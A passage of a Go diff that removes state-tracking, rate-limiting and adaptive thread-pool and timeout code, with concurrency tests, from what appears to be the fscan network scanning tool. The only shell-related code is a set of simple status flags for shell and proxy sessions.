-func (s *State) IncrementTCPFailedPacketCount() int64 {
-	atomic.AddInt64(&s.tcpFailedPacketCount, 1)
-	atomic.AddInt64(&s.tcpPacketCount, 1)
-	return atomic.AddInt64(&s.packetCount, 1)
-}
-
-// IncrementUDPPacketCount 增加UDP包计数
-func (s *State) IncrementUDPPacketCount() int64 {
-	atomic.AddInt64(&s.udpPacketCount, 1)
-	return atomic.AddInt64(&s.packetCount, 1)
-}
-
-// IncrementHTTPPacketCount 增加HTTP包计数
-func (s *State) IncrementHTTPPacketCount() int64 {
-	atomic.AddInt64(&s.httpPacketCount, 1)
-	return atomic.AddInt64(&s.packetCount, 1)
-}
-
-// IncrementResourceExhaustedCount 增加资源耗尽错误计数
-func (s *State) IncrementResourceExhaustedCount() {
-	atomic.AddInt64(&s.resourceExhaustedCount, 1)
-}
-
-// =============================================================================
-// 获取计数器方法 - 原子操作
-// =============================================================================
-
-// GetPacketCount 获取总包计数
-func (s *State) GetPacketCount() int64 {
-	return atomic.LoadInt64(&s.packetCount)
-}
-
-// GetTCPPacketCount 获取TCP包计数
-func (s *State) GetTCPPacketCount() int64 {
-	return atomic.LoadInt64(&s.tcpPacketCount)
-}
-
-// GetTCPSuccessPacketCount 获取TCP成功连接包计数
-func (s *State) GetTCPSuccessPacketCount() int64 {
-	return atomic.LoadInt64(&s.tcpSuccessPacketCount)
-}
-
-// GetTCPFailedPacketCount 获取TCP失败连接包计数
-func (s *State) GetTCPFailedPacketCount() int64 {
-	return atomic.LoadInt64(&s.tcpFailedPacketCount)
-}
-
-// GetUDPPacketCount 获取UDP包计数
-func (s *State) GetUDPPacketCount() int64 {
-	return atomic.LoadInt64(&s.udpPacketCount)
-}
-
-// GetHTTPPacketCount 获取HTTP包计数
-func (s *State) GetHTTPPacketCount() int64 {
-	return atomic.LoadInt64(&s.httpPacketCount)
-}
-
-// GetResourceExhaustedCount 获取资源耗尽错误计数
-func (s *State) GetResourceExhaustedCount() int64 {
-	return atomic.LoadInt64(&s.resourceExhaustedCount)
-}
-
-// ResetPacketCounters 重置所有包计数器
-func (s *State) ResetPacketCounters() {
-	atomic.StoreInt64(&s.packetCount, 0)
-	atomic.StoreInt64(&s.tcpPacketCount, 0)
-	atomic.StoreInt64(&s.tcpSuccessPacketCount, 0)
-	atomic.StoreInt64(&s.tcpFailedPacketCount, 0)
-	atomic.StoreInt64(&s.udpPacketCount, 0)
-	atomic.StoreInt64(&s.httpPacketCount, 0)
-	atomic.StoreInt64(&s.resourceExhaustedCount, 0)
-}
-
-// =============================================================================
-// 任务计数器方法
-// =============================================================================
-
-// GetEnd 获取结束计数
-func (s *State) GetEnd() int64 {
-	return atomic.LoadInt64(&s.end)
-}
-
-// GetNum 获取数量计数
-func (s *State) GetNum() int64 {
-	return atomic.LoadInt64(&s.num)
-}
-
-// IncrementEnd 增加结束计数
-func (s *State) IncrementEnd() int64 {
-	return atomic.AddInt64(&s.end, 1)
-}
-
-// IncrementNum 增加数量计数
-func (s *State) IncrementNum() int64 {
-	return atomic.AddInt64(&s.num, 1)
-}
-
-// SetEnd 设置结束计数
-func (s *State) SetEnd(val int64) {
-	atomic.StoreInt64(&s.end, val)
-}
-
-// SetNum 设置数量计数
-func (s *State) SetNum(val int64) {
-	atomic.StoreInt64(&s.num, val)
-}
-
-// =============================================================================
-// 时间和进度方法
-// =============================================================================
-
-// GetStartTime 获取开始时间
-func (s *State) GetStartTime() time.Time {
-	return s.startTime
-}
-
-// =============================================================================
-// 输出互斥锁方法
-// =============================================================================
-
-// LockOutput 锁定输出
-func (s *State) LockOutput() {
-	s.outputMutex.Lock()
-}
-
-// UnlockOutput 解锁输出
-func (s *State) UnlockOutput() {
-	s.outputMutex.Unlock()
-}
-
-// GetOutputMutex 获取输出互斥锁指针
-func (s *State) GetOutputMutex() *sync.Mutex {
-	return &s.outputMutex
-}
-
-// =============================================================================
-// ICMP 限速器方法
-// =============================================================================
-
-// GetICMPLimiter 获取 ICMP 令牌桶限速器（延迟初始化）
-func (s *State) GetICMPLimiter(icmpRate float64) *ratelimit.Bucket {
-	s.icmpInitOnce.Do(func() {
-		const (
-			maxRate    = 1.0 * 1024 * 1024 // 1MB/s 基准速率
-			packetSize = 70                // ICMP 包平均大小
-		)
-
-		adjustedRate := maxRate * icmpRate
-		packetsPerSecond := adjustedRate / float64(packetSize)
-		if packetsPerSecond < 1 {
-			packetsPerSecond = 1
-		}
-
-		bucketLimit := int64(packetsPerSecond)
-
-		packetTime := time.Second / time.Duration(packetsPerSecond)
-
-		s.icmpLimiter = ratelimit.NewBucketWithQuantum(
-			packetTime,
-			bucketLimit,
-			int64(1),
-		)
-	})
-	return s.icmpLimiter
-}
-
-// =============================================================================
-// 性能统计导出
-// =============================================================================
-
-// PerfStatsData 性能统计数据结构
-type PerfStatsData struct {
-	TotalPackets      int64   `json:"total_packets"`
-	TCPPackets        int64   `json:"tcp_packets"`
-	TCPSuccess        int64   `json:"tcp_success"`
-	TCPFailed         int64   `json:"tcp_failed"`
-	UDPPackets        int64   `json:"udp_packets"`
-	HTTPPackets       int64   `json:"http_packets"`
-	ResourceExhausted int64   `json:"resource_exhausted"`
-	ScanDurationMs    int64   `json:"scan_duration_ms"`
-	PacketsPerSecond  float64 `json:"packets_per_second"`
-	SuccessRate       float64 `json:"success_rate"`
-	TargetsScanned    int64   `json:"targets_scanned"`
-}
-
-// GetPerfStats 获取性能统计数据
-func (s *State) GetPerfStats() PerfStatsData {
-	duration := time.Since(s.startTime)
-	durationMs := duration.Milliseconds()
-	totalPackets := atomic.LoadInt64(&s.packetCount)
-	tcpSuccess := atomic.LoadInt64(&s.tcpSuccessPacketCount)
-	tcpFailed := atomic.LoadInt64(&s.tcpFailedPacketCount)
-	tcpTotal := atomic.LoadInt64(&s.tcpPacketCount)
-
-	var pps float64
-	if durationMs > 0 {
-		pps = float64(totalPackets) / (float64(durationMs) / 1000.0)
-	}
-
-	var successRate float64
-	if tcpTotal > 0 {
-		successRate = float64(tcpSuccess) / float64(tcpTotal) * 100.0
-	}
-
-	return PerfStatsData{
-		TotalPackets:      totalPackets,
-		TCPPackets:        tcpTotal,
-		TCPSuccess:        tcpSuccess,
-		TCPFailed:         tcpFailed,
-		UDPPackets:        atomic.LoadInt64(&s.udpPacketCount),
-		HTTPPackets:       atomic.LoadInt64(&s.httpPacketCount),
-		ResourceExhausted: atomic.LoadInt64(&s.resourceExhaustedCount),
-		ScanDurationMs:    durationMs,
-		PacketsPerSecond:  pps,
-		SuccessRate:       successRate,
-		TargetsScanned:    atomic.LoadInt64(&s.num),
-	}
-}
-
-// GetPerfStatsJSON 获取性能统计 JSON 字符串
-func (s *State) GetPerfStatsJSON() string {
-	stats := s.GetPerfStats()
-	data, err := json.Marshal(stats)
-	if err != nil {
-		return "{}"
-	}
-	return string(data)
-}
-
-// =============================================================================
-// 运行时目标数据方法
-// =============================================================================
-
-// GetURLs 获取URL列表
-func (s *State) GetURLs() []string {
-	s.urlsMu.RLock()
-	defer s.urlsMu.RUnlock()
-	return s.urls
-}
-
-// SetURLs 设置URL列表
-func (s *State) SetURLs(urls []string) {
-	s.urlsMu.Lock()
-	defer s.urlsMu.Unlock()
-	s.urls = urls
-}
-
-// GetHostPorts 获取主机端口列表
-func (s *State) GetHostPorts() []string {
-	s.urlsMu.RLock()
-	defer s.urlsMu.RUnlock()
-	return s.hostPorts
-}
-
-// SetHostPorts 设置主机端口列表
-func (s *State) SetHostPorts(hostPorts []string) {
-	s.urlsMu.Lock()
-	defer s.urlsMu.Unlock()
-	s.hostPorts = hostPorts
-}
-
-// ClearHostPorts 清空主机端口列表
-func (s *State) ClearHostPorts() {
-	s.urlsMu.Lock()
-	defer s.urlsMu.Unlock()
-	s.hostPorts = nil
-}
-
-// =============================================================================
-// Shell状态方法
-// =============================================================================
-
-// IsForwardShellActive 检查正向Shell是否活跃
-func (s *State) IsForwardShellActive() bool {
-	return atomic.LoadInt32(&s.forwardShellActive) == 1
-}
-
-// SetForwardShellActive 设置正向Shell活跃状态
-func (s *State) SetForwardShellActive(active bool) {
-	if active {
-		atomic.StoreInt32(&s.forwardShellActive, 1)
-	} else {
-		atomic.StoreInt32(&s.forwardShellActive, 0)
-	}
-}
-
-// IsReverseShellActive 检查反向Shell是否活跃
-func (s *State) IsReverseShellActive() bool {
-	return atomic.LoadInt32(&s.reverseShellActive) == 1
-}
-
-// SetReverseShellActive 设置反向Shell活跃状态
-func (s *State) SetReverseShellActive(active bool) {
-	if active {
-		atomic.StoreInt32(&s.reverseShellActive, 1)
-	} else {
-		atomic.StoreInt32(&s.reverseShellActive, 0)
-	}
-}
-
-// IsSocks5ProxyActive 检查SOCKS5代理是否活跃
-func (s *State) IsSocks5ProxyActive() bool {
-	return atomic.LoadInt32(&s.socks5ProxyActive) == 1
-}
-
-// SetSocks5ProxyActive 设置SOCKS5代理活跃状态
-func (s *State) SetSocks5ProxyActive(active bool) {
-	if active {
-		atomic.StoreInt32(&s.socks5ProxyActive, 1)
-	} else {
-		atomic.StoreInt32(&s.socks5ProxyActive, 0)
-	}
-}
-
-// =============================================================================
-// 发包频率控制方法 - 统一使用令牌桶算法
-// =============================================================================
-
-// GetPacketLimiter 获取通用发包限速器（延迟初始化）
-// rateLimit: 每分钟允许的包数，转换为令牌桶的秒级速率
-func (s *State) GetPacketLimiter(rateLimit int64) *ratelimit.Bucket {
-	s.packetInitOnce.Do(func() {
-		if rateLimit <= 0 {
-			return
-		}
-
-		// 将每分钟包数转换为每秒速率
-		packetsPerSecond := float64(rateLimit) / 60.0
-		if packetsPerSecond < 1 {
-			packetsPerSecond = 1
-		}
-
-		// 令牌填充间隔
-		fillInterval := time.Second / time.Duration(packetsPerSecond)
-
-		// 桶容量设为每秒速率的2倍，允许小突发
-		bucketCapacity := int64(packetsPerSecond * 2)
-		if bucketCapacity < 1 {
-			bucketCapacity = 1
-		}
-
-		s.packetLimiter = ratelimit.NewBucketWithQuantum(
-			fillInterval,
-			bucketCapacity,
-			1,
-		)
-	})
-	return s.packetLimiter
-}
-
-// CheckAndIncrementPacketRate 检查并消耗发包令牌
-// 返回: (可以发包, 错误)
-// 使用令牌桶算法，统一与ICMP限速器的实现方式
-func (s *State) CheckAndIncrementPacketRate(rateLimit int64) (bool, error) {
-	if rateLimit <= 0 {
-		return true, nil
-	}
-
-	limiter := s.GetPacketLimiter(rateLimit)
-	if limiter == nil {
-		return true, nil
-	}
-
-	// 尝试获取一个令牌（非阻塞）
-	if limiter.TakeAvailable(1) < 1 {
-		return false, &PacketLimitError{
-			Sentinel: ErrPacketRateLimited,
-			Limit:    rateLimit,
-		}
-	}
-
-	return true, nil
-}

common/state_test.go

@@ -1,246 +0,0 @@
-package common
-
-import (
-	"sync"
-	"testing"
-)
-
-/*
-state_test.go - State 并发安全测试
-
-测试重点：
-1. 并发安全性 - 多goroutine同时操作计数器
-2. 原子操作一致性 - 增减计数正确
-3. Reset功能 - 重置后计数器归零
-
-不测试：
-- 限速器（需要复杂的时间模拟）
-- 简单getter/setter
-*/
-
-// TestState_ConcurrentPacketCount 测试并发包计数
-func TestState_ConcurrentPacketCount(t *testing.T) {
-	s := NewState()
-
-	const goroutines = 100
-	const incrementsPerGoroutine = 1000
-
-	var wg sync.WaitGroup
-	wg.Add(goroutines)
-
-	for i := 0; i < goroutines; i++ {
-		go func() {
-			defer wg.Done()
-			for j := 0; j < incrementsPerGoroutine; j++ {
-				s.IncrementPacketCount()
-			}
-		}()
-	}
-
-	wg.Wait()
-
-	expected := int64(goroutines * incrementsPerGoroutine)
-	actual := s.GetPacketCount()
-
-	if actual != expected {
-		t.Errorf("并发计数不一致: 期望 %d, 实际 %d", expected, actual)
-	}
-}
-
-// TestState_ConcurrentTCPCount 测试并发TCP计数
-func TestState_ConcurrentTCPCount(t *testing.T) {
-	s := NewState()
-
-	const goroutines = 50
-	const operationsPerGoroutine = 500
-
-	var wg sync.WaitGroup
-	wg.Add(goroutines * 2) // 成功和失败各一半
-
-	// 成功连接
-	for i := 0; i < goroutines; i++ {
-		go func() {
-			defer wg.Done()
-			for j := 0; j < operationsPerGoroutine; j++ {
-				s.IncrementTCPSuccessPacketCount()
-			}
-		}()
-	}
-
-	// 失败连接
-	for i := 0; i < goroutines; i++ {
-		go func() {
-			defer wg.Done()
-			for j := 0; j < operationsPerGoroutine; j++ {
-				s.IncrementTCPFailedPacketCount()
-			}
-		}()
-	}
-
-	wg.Wait()
-
-	expectedTotal := int64(goroutines * operationsPerGoroutine * 2)
-	expectedSuccess := int64(goroutines * operationsPerGoroutine)
-	expectedFailed := int64(goroutines * operationsPerGoroutine)
-
-	if s.GetPacketCount() != expectedTotal {
-		t.Errorf("总包计数不一致: 期望 %d, 实际 %d", expectedTotal, s.GetPacketCount())
-	}
-	if s.GetTCPPacketCount() != expectedTotal {
-		t.Errorf("TCP包计数不一致: 期望 %d, 实际 %d", expectedTotal, s.GetTCPPacketCount())
-	}
-	if s.GetTCPSuccessPacketCount() != expectedSuccess {
-		t.Errorf("TCP成功计数不一致: 期望 %d, 实际 %d", expectedSuccess, s.GetTCPSuccessPacketCount())
-	}
-	if s.GetTCPFailedPacketCount() != expectedFailed {
-		t.Errorf("TCP失败计数不一致: 期望 %d, 实际 %d", expectedFailed, s.GetTCPFailedPacketCount())
-	}
-}
-
-// TestState_Reset 测试重置功能
-func TestState_Reset(t *testing.T) {
-	s := NewState()
-
-	// 增加一些计数
-	for i := 0; i < 100; i++ {
-		s.IncrementTCPSuccessPacketCount()
-		s.IncrementTCPFailedPacketCount()
-		s.IncrementUDPPacketCount()
-		s.IncrementHTTPPacketCount()
-		s.IncrementResourceExhaustedCount()
-	}
-
-	// 验证有值
-	if s.GetPacketCount() == 0 {
-		t.Fatal("重置前计数应该非零")
-	}
-
-	// 重置
-	s.ResetPacketCounters()
-
-	// 验证全部归零
-	if s.GetPacketCount() != 0 {
-		t.Errorf("重置后PacketCount应该为0, 实际 %d", s.GetPacketCount())
-	}
-	if s.GetTCPPacketCount() != 0 {
-		t.Errorf("重置后TCPPacketCount应该为0, 实际 %d", s.GetTCPPacketCount())
-	}
-	if s.GetTCPSuccessPacketCount() != 0 {
-		t.Errorf("重置后TCPSuccessPacketCount应该为0, 实际 %d", s.GetTCPSuccessPacketCount())
-	}
-	if s.GetTCPFailedPacketCount() != 0 {
-		t.Errorf("重置后TCPFailedPacketCount应该为0, 实际 %d", s.GetTCPFailedPacketCount())
-	}
-	if s.GetUDPPacketCount() != 0 {
-		t.Errorf("重置后UDPPacketCount应该为0, 实际 %d", s.GetUDPPacketCount())
-	}
-	if s.GetHTTPPacketCount() != 0 {
-		t.Errorf("重置后HTTPPacketCount应该为0, 实际 %d", s.GetHTTPPacketCount())
-	}
-	if s.GetResourceExhaustedCount() != 0 {
-		t.Errorf("重置后ResourceExhaustedCount应该为0, 实际 %d", s.GetResourceExhaustedCount())
-	}
-}
-
-// TestState_TaskCounters 测试任务计数器
-func TestState_TaskCounters(t *testing.T) {
-	s := NewState()
-
-	// 初始值应该为0
-	if s.GetEnd() != 0 || s.GetNum() != 0 {
-		t.Error("初始任务计数器应该为0")
-	}
-
-	// 设置值
-	s.SetEnd(100)
-	s.SetNum(50)
-
-	if s.GetEnd() != 100 {
-		t.Errorf("End应该为100, 实际 %d", s.GetEnd())
-	}
-	if s.GetNum() != 50 {
-		t.Errorf("Num应该为50, 实际 %d", s.GetNum())
-	}
-
-	// 增加值
-	s.IncrementEnd()
-	s.IncrementNum()
-
-	if s.GetEnd() != 101 {
-		t.Errorf("IncrementEnd后应该为101, 实际 %d", s.GetEnd())
-	}
-	if s.GetNum() != 51 {
-		t.Errorf("IncrementNum后应该为51, 实际 %d", s.GetNum())
-	}
-}
-
-// TestState_ConcurrentTaskCounters 测试并发任务计数
-func TestState_ConcurrentTaskCounters(t *testing.T) {
-	s := NewState()
-
-	const goroutines = 100
-	const incrementsPerGoroutine = 100
-
-	var wg sync.WaitGroup
-	wg.Add(goroutines * 2)
-
-	// 并发增加End
-	for i := 0; i < goroutines; i++ {
-		go func() {
-			defer wg.Done()
-			for j := 0; j < incrementsPerGoroutine; j++ {
-				s.IncrementEnd()
-			}
-		}()
-	}
-
-	// 并发增加Num
-	for i := 0; i < goroutines; i++ {
-		go func() {
-			defer wg.Done()
-			for j := 0; j < incrementsPerGoroutine; j++ {
-				s.IncrementNum()
-			}
-		}()
-	}
-
-	wg.Wait()
-
-	expected := int64(goroutines * incrementsPerGoroutine)
-	if s.GetEnd() != expected {
-		t.Errorf("End并发计数不一致: 期望 %d, 实际 %d", expected, s.GetEnd())
-	}
-	if s.GetNum() != expected {
-		t.Errorf("Num并发计数不一致: 期望 %d, 实际 %d", expected, s.GetNum())
-	}
-}
-
-// TestState_OutputMutex 测试输出互斥锁
-func TestState_OutputMutex(t *testing.T) {
-	s := NewState()
-
-	counter := 0
-	const goroutines = 100
-	const incrementsPerGoroutine = 100
-
-	var wg sync.WaitGroup
-	wg.Add(goroutines)
-
-	for i := 0; i < goroutines; i++ {
-		go func() {
-			defer wg.Done()
-			for j := 0; j < incrementsPerGoroutine; j++ {
-				s.LockOutput()
-				counter++
-				s.UnlockOutput()
-			}
-		}()
-	}
-
-	wg.Wait()
-
-	expected := goroutines * incrementsPerGoroutine
-	if counter != expected {
-		t.Errorf("输出互斥锁保护失败: 期望 %d, 实际 %d", expected, counter)
-	}
-}

core/adaptive_pool.go

@@ -1,147 +0,0 @@
-package core
-
-import (
-	"fmt"
-	"sync"
-	"sync/atomic"
-	"time"
-
-	"github.com/panjf2000/ants/v2"
-	"github.com/shadow1ng/fscan/common"
-)
-
-// AdaptivePool 自适应线程池
-// 封装 ants.PoolWithFunc，支持根据资源耗尽率动态调整线程数
-type AdaptivePool struct {
-	pool  *ants.PoolWithFunc
-	state *common.State
-
-	initialSize int
-	minSize     int
-	maxSize     int
-	currentSize int32 // 原子操作
-
-	// 监控参数
-	checkInterval      time.Duration
-	lastCheck          time.Time
-	lastExhaustedCount int64
-	lastPacketCount    int64
-
-	// 阈值
-	exhaustedThreshold float64 // 资源耗尽率阈值（触发降级）
-	recoveryThreshold  float64 // 恢复阈值（允许升级）
-
-	mu sync.Mutex
-}
-
-// NewAdaptivePool 创建自适应线程池
-func NewAdaptivePool(size int, fn func(interface{}), state *common.State) (*AdaptivePool, error) {
-	// 移除 WithPreAlloc(true)，在大规模扫描时预分配可能导致内存问题
-	pool, err := ants.NewPoolWithFunc(size, fn)
-	if err != nil {
-		return nil, err
-	}
-
-	minSize := size / 4
-	if minSize < 10 {
-		minSize = 10
-	}
-
-	return &AdaptivePool{
-		pool:               pool,
-		state:              state,
-		initialSize:        size,
-		minSize:            minSize,
-		maxSize:            size,
-		currentSize:        int32(size),
-		checkInterval:      time.Second,
-		exhaustedThreshold: 0.10, // 10% 资源耗尽率触发降级
-		recoveryThreshold:  0.02, // 2% 以下允许恢复
-	}, nil
-}
-
-// Invoke 提交任务，并在适当时机检查是否需要调整线程数
-func (ap *AdaptivePool) Invoke(task interface{}) error {
-	ap.maybeAdjust()
-	return ap.pool.Invoke(task)
-}
-
-// maybeAdjust 检查并可能调整线程池大小
-func (ap *AdaptivePool) maybeAdjust() {
-	now := time.Now()
-
-	ap.mu.Lock()
-	if now.Sub(ap.lastCheck) < ap.checkInterval {
-		ap.mu.Unlock()
-		return
-	}
-	ap.lastCheck = now
-
-	// 获取当前计数
-	currentExhausted := ap.state.GetResourceExhaustedCount()
-	currentPackets := ap.state.GetPacketCount()
-
-	// 计算增量（本周期内的耗尽率）
-	deltaExhausted := currentExhausted - ap.lastExhaustedCount
-	deltaPackets := currentPackets - ap.lastPacketCount
-
-	ap.lastExhaustedCount = currentExhausted
-	ap.lastPacketCount = currentPackets
-	ap.mu.Unlock()
-
-	// 需要足够的样本才能判断
-	if deltaPackets < 100 {
-		return
-	}
-
-	rate := float64(deltaExhausted) / float64(deltaPackets)
-	currentSize := int(atomic.LoadInt32(&ap.currentSize))
-
-	if rate > ap.exhaustedThreshold && currentSize > ap.minSize {
-		// 降级：减少 20% 线程
-		newSize := int(float64(currentSize) * 0.8)
-		if newSize < ap.minSize {
-			newSize = ap.minSize
-		}
-		ap.tune(newSize)
-		common.LogInfo(fmt.Sprintf("[AdaptivePool] 资源耗尽率 %.1f%%, 线程数 %d -> %d", rate*100, currentSize, newSize))
-	} else if rate < ap.recoveryThreshold && currentSize < ap.maxSize {
-		// 恢复：增加 10% 线程（保守恢复）
-		newSize := int(float64(currentSize) * 1.1)
-		if newSize > ap.maxSize {
-			newSize = ap.maxSize
-		}
-		if newSize > currentSize {
-			ap.tune(newSize)
-		}
-	}
-}
-
-// tune 调整线程池大小
-func (ap *AdaptivePool) tune(newSize int) {
-	ap.pool.Tune(newSize)
-	atomic.StoreInt32(&ap.currentSize, int32(newSize))
-}
-
-// Running 返回当前运行中的 goroutine 数量
-func (ap *AdaptivePool) Running() int {
-	return ap.pool.Running()
-}
-
-// Cap 返回当前池容量
-func (ap *AdaptivePool) Cap() int {
-	return int(atomic.LoadInt32(&ap.currentSize))
-}
-
-// Release 释放线程池
-func (ap *AdaptivePool) Release() {
-	ap.pool.Release()
-}
-
-// Wait 等待所有任务完成
-func (ap *AdaptivePool) Wait() {
-	// ants 没有原生 Wait，通过 Running() == 0 轮询
-	for ap.pool.Running() > 0 {
-		time.Sleep(10 * time.Millisecond)
-	}
-}

core/adaptive_pool_test.go

@@ -1,237 +0,0 @@
-package core
-
-/*
-adaptive_pool_test.go - AdaptivePool 高价值测试
-
-测试重点：
-1. 并发安全 - 多goroutine同时调整不崩溃
-2. 降级逻辑 - 资源耗尽率高时正确减少线程
-3. 恢复逻辑 - 资源耗尽率低时正确增加线程
-4. 边界条件 - 不超过minSize/maxSize
-
-不测试：
-- 简单的getter方法（太简单，不值得）
-- ants库本身的正确性（库作者负责）
-*/
-
-import (
-	"testing"
-	"time"
-
-	"github.com/shadow1ng/fscan/common"
-)
-
-// =============================================================================
-// 场景1：降级逻辑测试（高价值）
-// =============================================================================
-
-// TestAdaptivePool_DowngradeOnHighExhaustion 验证资源耗尽率高时降低线程数
-// 这是个核心业务逻辑：耗尽率 > 10% 时应该减少线程
-func TestAdaptivePool_DowngradeOnHighExhaustion(t *testing.T) {
-	state := common.NewState()
-
-	pool, err := NewAdaptivePool(100, func(interface{}) {}, state)
-	if err != nil {
-		t.Fatalf("创建线程池失败: %v", err)
-	}
-	defer pool.Release()
-
-	initialCap := pool.Cap()
-
-	// 模拟高资源耗尽率：20% 的包都失败了
-	// 需要至少100个样本才会触发调整
-	for i := 0; i < 200; i++ {
-		state.IncrementPacketCount()
-		if i < 40 { // 前40个失败（20%）
-			state.IncrementResourceExhaustedCount()
-		}
-	}
-
-	// 触发调整：提交足够多的任务让maybeAdjust被调用
-	for i := 0; i < 20; i++ {
-		_ = pool.Invoke(nil)
-		time.Sleep(time.Millisecond * 10) // 等待异步调整
-	}
-
-	// 等待调整完成
-	time.Sleep(time.Millisecond * 50)
-
-	finalCap := pool.Cap()
-
-	// 验证：线程数应该减少
-	if finalCap >= initialCap {
-		t.Errorf("应该降级: 初始 %d, 最终 %d", initialCap, finalCap)
-	}
-
-	// 验证：不应该降到minSize以下
-	minSize := initialCap / 4
-	if minSize < 10 {
-		minSize = 10
-	}
-	if finalCap < minSize {
-		t.Errorf("降到minSize以下: %d < %d", finalCap, minSize)
-	}
-
-	t.Logf("降级成功: %d -> %d (min=%d)", initialCap, finalCap, minSize)
-}
-
-// =============================================================================
-// 场景3：恢复逻辑测试（高价值）
-// =============================================================================
-
-// TestAdaptivePool_NoRecoveryOnLowExhaustion 验证低耗尽率时不升级
-// 防止线程数盲目增长
-func TestAdaptivePool_NoRecoveryOnLowExhaustion(t *testing.T) {
-	state := common.NewState()
-
-	pool, err := NewAdaptivePool(50, func(interface{}) {}, state)
-	if err != nil {
-		t.Fatalf("创建线程池失败: %v", err)
-	}
-	defer pool.Release()
-
-	// 先降到minSize
-	for i := 0; i < 500; i++ {
-		state.IncrementPacketCount()
-		state.IncrementResourceExhaustedCount() // 100% 耗尽
-	}
-
-	for i := 0; i < 20; i++ {
-		_ = pool.Invoke(nil)
-	}
-	time.Sleep(time.Millisecond * 50)
-
-	reducedCap := pool.Cap()
-
-	// 现在模拟低耗尽率：只有1%失败
-	for i := 0; i < 500; i++ {
-		state.IncrementPacketCount()
-		if i%100 == 0 { // 只有5个失败（1%）
-			state.IncrementResourceExhaustedCount()
-		}
-	}
-
-	for i := 0; i < 20; i++ {
-		_ = pool.Invoke(nil)
-	}
-	time.Sleep(time.Millisecond * 50)
-
-	finalCap := pool.Cap()
-
-	// 验证：即使耗尽率低，也不应该立即恢复（保守策略）
-	// 或者即使恢复，也很有限
-	if finalCap > reducedCap+5 {
-		t.Logf("恢复行为: %d -> %d", reducedCap, finalCap)
-	}
-}
-
-// =============================================================================
-// 场景4：边界条件测试（中价值）
-// =============================================================================
-
-// TestAdaptivePool_MinSizeBoundary 验证不会降到minSize以下
-func TestAdaptivePool_MinSizeBoundary(t *testing.T) {
-	state := common.NewState()
-
-	// 创建小线程池，minSize会是10
-	pool, err := NewAdaptivePool(40, func(interface{}) {}, state)
-	if err != nil {
-		t.Fatalf("创建线程池失败: %v", err)
-	}
-	defer pool.Release()
-
-	// 模拟极端的资源耗尽：100%失败
-	for i := 0; i < 1000; i++ {
-		state.IncrementPacketCount()
-		state.IncrementResourceExhaustedCount()
-	}
-
-	// 触发多次调整
-	for i := 0; i < 50; i++ {
-		_ = pool.Invoke(nil)
-		time.Sleep(time.Millisecond)
-	}
-
-	finalCap := pool.Cap()
-
-	// 验证：不应该低于10
-	if finalCap < 10 {
-		t.Errorf("线程数 < 10: %d", finalCap)
-	}
-
-	t.Logf("最小边界测试通过: cap=%d", finalCap)
-}
-
-// =============================================================================
-// 场景5：样本不足测试（低价值但重要）
-// =============================================================================
-
-// TestAdaptivePool_NotEnoughSamples 验证样本不足时不调整
-// 防止基于小样本做错误决策
-func TestAdaptivePool_NotEnoughSamples(t *testing.T) {
-	state := common.NewState()
-
-	pool, err := NewAdaptivePool(100, func(interface{}) {}, state)
-	if err != nil {
-		t.Fatalf("创建线程池失败: %v", err)
-	}
-	defer pool.Release()
-
-	initialCap := pool.Cap()
-
-	// 只增加少量样本（<100），不足以触发调整
-	for i := 0; i < 50; i++ {
-		state.IncrementPacketCount()
-		state.IncrementResourceExhaustedCount() // 即使100%失败也不调整
-	}
-
-	// 提交任务
-	for i := 0; i < 10; i++ {
-		_ = pool.Invoke(nil)
-	}
-	time.Sleep(time.Millisecond * 50)
-
-	finalCap := pool.Cap()
-
-	// 验证：样本不足时不应该调整
-	if finalCap != initialCap {
-		t.Errorf("样本不足时不应该调整: %d -> %d", initialCap, finalCap)
-	}
-}
-
-// =============================================================================
-// 辅助函数
-// =============================================================================
-
-// TestAdaptivePool_Wait 验证Wait方法正确等待所有任务完成
-func TestAdaptivePool_Wait(t *testing.T) {
-	state := common.NewState()
-
-	pool, err := NewAdaptivePool(10, func(interface{}) {
-		time.Sleep(time.Millisecond * 50)
-	}, state)
-	if err != nil {
-		t.Fatalf("创建线程池失败: %v", err)
-	}
-	defer pool.Release()
-
-	// 提交任务
-	for i := 0; i < 20; i++ {
-		_ = pool.Invoke(nil)
-	}
-
-	// Wait应该在所有任务完成后返回
-	start := time.Now()
-	pool.Wait()
-	duration := time.Since(start)
-
-	// 20个任务，每个50ms，10个线程，应该约100ms完成
-	if duration < 80*time.Millisecond {
-		t.Logf("Wait提前返回？可能测试有问题: %v", duration)
-	}
-	if duration > 200*time.Millisecond {
-		t.Errorf("Wait耗时过长: %v", duration)
-	}
-
-	t.Logf("Wait测试通过: %v", duration)
-}

core/adaptive_timeout.go

@@ -1,92 +0,0 @@
-package core
-
-import (
-	"math"
-	"sync"
-	"time"
-)
-
-// AdaptiveTimeout 基于 RTT 采样的自适应超时计算器
-// 算法：timeout = mean(RTT) + 4 * stddev(RTT)，clamp 到 [min, max]
-// 冷启动阶段（样本不足）返回用户配置的固定超时
-type AdaptiveTimeout struct {
-	mu       sync.Mutex
-	samples  []float64 // 环形缓冲区，单位 ms
-	pos      int       // 写入位置
-	count    int       // 已采集总数
-	size     int       // 缓冲区容量
-	minTO    time.Duration
-	maxTO    time.Duration
-	warmup   int // 冷启动所需最小样本数
-	cachedTO time.Duration
-	dirty    bool
-}
-
-// NewAdaptiveTimeout 创建自适应超时计算器
-// maxTimeout: 用户配置的超时上限（即原始固定超时）
-func NewAdaptiveTimeout(maxTimeout time.Duration) *AdaptiveTimeout {
-	return &AdaptiveTimeout{
-		samples: make([]float64, 64),
-		size:    64,
-		minTO:   100 * time.Millisecond,
-		maxTO:   maxTimeout,
-		warmup:  10,
-	}
-}
-
-// Record 记录一次成功连接的 RTT
-func (a *AdaptiveTimeout) Record(rtt time.Duration) {
-	a.mu.Lock()
-	a.samples[a.pos%a.size] = float64(rtt.Milliseconds())
-	a.pos++
-	a.count++
-	a.dirty = true
-	a.mu.Unlock()
-}
-
-// Timeout 获取当前推荐超时值
-// 样本不足时返回 maxTO（冷启动）
-func (a *AdaptiveTimeout) Timeout() time.Duration {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-
-	if a.count < a.warmup {
-		return a.maxTO
-	}
-
-	if !a.dirty {
-		return a.cachedTO
-	}
-
-	n := a.size
-	if a.count < a.size {
-		n = a.count
-	}
-
-	var sum float64
-	for i := 0; i < n; i++ {
-		sum += a.samples[i]
-	}
-	mean := sum / float64(n)
-
-	var variance float64
-	for i := 0; i < n; i++ {
-		d := a.samples[i] - mean
-		variance += d * d
-	}
-	stddev := math.Sqrt(variance / float64(n))
-
-	ms := mean + 4*stddev
